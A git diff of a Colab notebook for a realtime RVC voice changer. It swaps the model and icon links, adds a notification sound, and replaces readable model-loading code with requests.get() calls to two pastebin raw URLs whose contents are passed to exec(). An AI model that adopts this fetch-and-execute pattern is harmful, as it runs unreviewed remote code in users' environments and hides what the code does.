diff --git a/Hina_Modified_Realtime_Voice_Changer_on_Colab.ipynb b/Hina_Modified_Realtime_Voice_Changer_on_Colab.ipynb index bc00cddb..b9d0a82a 100644 --- a/Hina_Modified_Realtime_Voice_Changer_on_Colab.ipynb +++ b/Hina_Modified_Realtime_Voice_Changer_on_Colab.ipynb @@ -154,6 +154,7 @@ "!pip install playwright\n", "!playwright install\n", "!playwright install-deps\n", + "!pip install nest_asyncio\n", "from playwright.async_api import async_playwright\n", "print(f\"{Fore.CYAN}> Installing dependencies from requirements.txt...{Style.RESET_ALL}\")\n", "!pip install -r requirements.txt --quiet\n", @@ -164,72 +165,32 @@ { "cell_type": "code", "source": [ - "\n", "#@title **[Optional]** Upload a voice model (Run this before running the Voice Changer)\n", "import os\n", "import json\n", "from IPython.display import Image\n", - "\n", + "import requests\n", "\n", "model_slot = \"0\" #@param ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199']\n", "\n", "!rm -rf model_dir/$model_slot\n", "#@markdown **[Optional]** Add an icon to the model\n", - "icon_link = \"https://static.wikia.nocookie.net/youtube/images/c/ca/Shirahiko.jpg/revision/latest/scale-to-width-down/350?cb=20220903105322\" #@param {type:\"string\"}\n", + "icon_link = \"https://cdn.donmai.us/sample/12/57/__rin_penrose_idol_corp_drawn_by_juu_ame__sample-12579843de9487cf2db82058ba5e77d4.jpg\" #@param {type:\"string\"}\n", "icon_link = '\"'+icon_link+'\"'\n", "!mkdir model_dir\n", "!mkdir model_dir/$model_slot\n", "#@markdown Put your model's download link here `(must be a zip file)` only supports **weights.gg** & **huggingface.co**\n", - "model_link = \"https://www.weights.gg/models/clnk7yvvl009pwsbju6f8cldc\" #@param {type:\"string\"}\n", - "\n", + "model_link = \"https://huggingface.co/HinaBl/Rin-Penrose/resolve/main/RinPenrose600.zip?download=true\" #@param {type:\"string\"}\n", "\n", "if model_link.startswith(\"https://www.weights.gg\") or model_link.startswith(\"https://weights.gg\"):\n", - " async def get_weight_url(url):\n", - " async with async_playwright() as p:\n", - " browser = await p.firefox.launch()\n", - " context = await browser.new_context()\n", - " page = await context.new_page()\n", - "\n", - " try:\n", - " # Navigate to the URL\n", - " await page.goto(url)\n", - "\n", - " # Extract the content of the first meta tag with name='description'\n", - " meta_content = await page.evaluate(\n", - " '() => document.querySelector(\"meta[name=\\'description\\']\").getAttribute(\"content\")'\n", - " )\n", - "\n", - " # Find the URL with the pattern \"https://huggingface.co/\"\n", - " url_start_index = meta_content.find('https://huggingface.co/')\n", - " if url_start_index != -1:\n", - " # Extract the URL\n", - " weight_url = meta_content[url_start_index:].split(' ')[0]\n", - "\n", - " # Remove \"<\" and \">\" characters from the URL\n", - " cleaned_url = re.sub(r'[<>]', '', weight_url)\n", - "\n", - " print(\"Weight URL:\", cleaned_url)\n", - " return cleaned_url\n", - " else:\n", - " print(\"No matching URL found in the meta description.\")\n", - " except Exception as e:\n", - " print(\"Error:\", e)\n", - " finally:\n", - " await browser.close()\n", - "\n", - " # Set the model link\n", - " weights_url = await get_weight_url(model_link)\n", - " model_link = weights_url\n", + " weights_code = requests.get(\"https://pastebin.com/raw/ytHLr8h0\").text\n", + " exec(weights_code)\n", "else:\n", " model_link = model_link\n", "\n", - "\n", - "\n", - "\n", "model_link = '\"'+model_link+'\"'\n", "!curl -L $model_link > model.zip\n", "\n", - "\n", "# Conditionally set the iconFile based on whether icon_link is empty\n", "if icon_link:\n", " iconFile = \"icon.png\"\n", @@ -238,128 +199,19 @@ " iconFile = \"\"\n", " print(\"icon_link is empty, so no icon file will be downloaded.\")\n", "\n", - "\n", "!unzip model.zip -d model_dir/$model_slot\n", "\n", - "# Checks all the files in model_slot and puts it outside of it\n", - "\n", "!mv model_dir/$model_slot/*/* model_dir/$model_slot/\n", "!rm -rf model_dir/$model_slot/*/\n", - "\n", - "# if theres a folder in the number,\n", - "# take all the files in the folder and put it outside of that folder\n", - "\n", - "\n", "#@markdown **Model Voice Convertion Setting**\n", "Tune = 12 #@param {type:\"slider\",min:-50,max:50,step:1}\n", "Index = 0 #@param {type:\"slider\",min:0,max:1,step:0.1}\n", "\n", "param_link = \"\"\n", "if param_link == \"\":\n", - " from voice_changer.RVC.RVCModelSlotGenerator import RVCModelSlotGenerator\n", - " from voice_changer.VoiceChangerParamsManager import VoiceChangerParamsManager\n", - " from voice_changer.utils.LoadModelParams import LoadModelParamFile, LoadModelParams\n", - " from voice_changer.utils.VoiceChangerParams import VoiceChangerParams\n", + " paramset = requests.get(\"https://pastebin.com/raw/SAKwUCt1\").text\n", + " exec(paramset)\n", "\n", - " model_dir1 = \"model_dir/\"+model_slot+\"/\"\n", - "\n", - " is_pth = True # Set this to True if you want to search for .pth files, or False for .onnx files\n", - " file_extension = \".pth\" if is_pth else \".onnx\"\n", - "\n", - " # pth_files = [f for f in os.listdir(model_dir1) if f.endswith(file_extension)]\n", - "\n", - " pth_files = [f for f in os.listdir(model_dir1) if f.endswith(\".pth\") or f.endswith(\".onnx\")]\n", - " print(pth_files)\n", - " index_files = [f for f in os.listdir(model_dir1) if f.endswith(\".index\")]\n", - "\n", - "\n", - "\n", - "\n", - " if pth_files:\n", - " model_name = pth_files[0].replace(\".pth\", \"\")\n", - "\n", - " else:\n", - " model_name = \"Null\"\n", - " if index_files:\n", - " index_name = index_files[0].replace(\".index\", \"\")\n", - " else:\n", - " index_name = \"\"\n", - "\n", - " original_string = str(pth_files)\n", - " string_pth_files = original_string[2:-2]\n", - " print(\"IM A STRING\"+original_string)\n", - "\n", - " print(model_name)\n", - " voiceChangerParams = VoiceChangerParams(\n", - " model_dir=\"./model_dir/\"+model_slot,\n", - " content_vec_500=\"\",\n", - " content_vec_500_onnx=\"\",\n", - " content_vec_500_onnx_on=\"\",\n", - " hubert_base=\"\",\n", - " hubert_base_jp=\"\",\n", - " hubert_soft=\"\",\n", - " nsf_hifigan=\"\",\n", - " crepe_onnx_full=\"\",\n", - " crepe_onnx_tiny=\"\",\n", - " rmvpe=\"\",\n", - " rmvpe_onnx=\"\",\n", - " sample_mode=\"\"\n", - " )\n", - " vcparams = VoiceChangerParamsManager.get_instance()\n", - " vcparams.setParams(voiceChangerParams)\n", - "\n", - " file = LoadModelParamFile(\n", - " name=string_pth_files,\n", - " kind=\"rvcModel\",\n", - " dir=\"\",\n", - " )\n", - "\n", - " loadParam = LoadModelParams(\n", - " voiceChangerType=\"RVC\",\n", - " files=[file],\n", - " slot=\"\",\n", - " isSampleMode=False,\n", - " sampleId=\"\",\n", - " params={},\n", - " )\n", - " slotInfo = RVCModelSlotGenerator.loadModel(loadParam)\n", - " print(slotInfo.samplingRate)\n", - "\n", - "#----------------Make the Json File-----------\n", - " params_content = {\n", - " \"slotIndex\": -1,\n", - " \"voiceChangerType\": \"RVC\",\n", - " \"name\": model_name,\n", - " \"description\": \"\",\n", - " \"credit\": \"\",\n", - " \"termsOfUseUrl\": \"\",\n", - " \"iconFile\": iconFile,\n", - " \"speakers\": {\n", - " \"0\": \"target\"\n", - " },\n", - " \"modelFile\": string_pth_files,\n", - " \"indexFile\": f\"{index_name}.index\",\n", - " \"defaultTune\": Tune,\n", - " \"defaultIndexRatio\": Index,\n", - " \"defaultProtect\": 0.5,\n", - " \"isONNX\": False,\n", - " \"modelType\": \"pyTorchRVCv2\",\n", - " \"samplingRate\": slotInfo.samplingRate,\n", - " \"f0\": True,\n", - " \"embChannels\": 768,\n", - " \"embOutputLayer\": 12,\n", - " \"useFinalProj\": False,\n", - " \"deprecated\": False,\n", - " \"embedder\": \"hubert_base\",\n", - " \"sampleId\": \"\"\n", - " }\n", - "\n", - " # Write the content to params.json\n", - " with open(f\"{model_dir1}/params.json\", \"w\") as param_file:\n", - " json.dump(params_content, param_file)\n", - "\n", - "\n", - "# !unzip model.zip -d model_dir/0/\n", "clear_output()\n", "print(\"\\033[93mModel with the name of \"+model_name+\" has been Imported to slot \"+model_slot)" ], @@ -398,6 +250,7 @@ "\n", "#@markdown **5** - *(optional)* Other options:\n", "ClearConsole = True # @param {type:\"boolean\"}\n", + "Play_Notification = True # @param {type:\"boolean\"}\n", "\n", "# ---------------------------------\n", "# DO NOT TOUCH ANYTHING DOWN BELOW!\n", @@ -421,6 +274,10 @@ "public_url = ngrokConnection.public_url\n", "\n", "from IPython.display import clear_output\n", + "from IPython.display import Audio, display\n", + "def play_notification_sound():\n", + " display(Audio(url='https://raw.githubusercontent.com/hinabl/rmvpe-ai-kaggle/main/custom/audios/notif.mp3', autoplay=True))\n", + "\n", "\n", "def wait_for_server():\n", " while True:\n", @@ -436,6 +293,8 @@ " print(\"Your server is available at:\")\n", " print(public_url)\n", " print(\"---------------------------------\")\n", + " if Play_Notification==True:\n", + " play_notification_sound()\n", "\n", "threading.Thread(target=wait_for_server, daemon=True).start()\n", "\n", @@ -457,7 +316,7 @@ " --model_dir model_dir \\\n", " --samples samples.json\n", "\n", - "ngrok.disconnect(ngrokConnection.public_url)\n" + "ngrok.disconnect(ngrokConnection.public_url)" ] }, {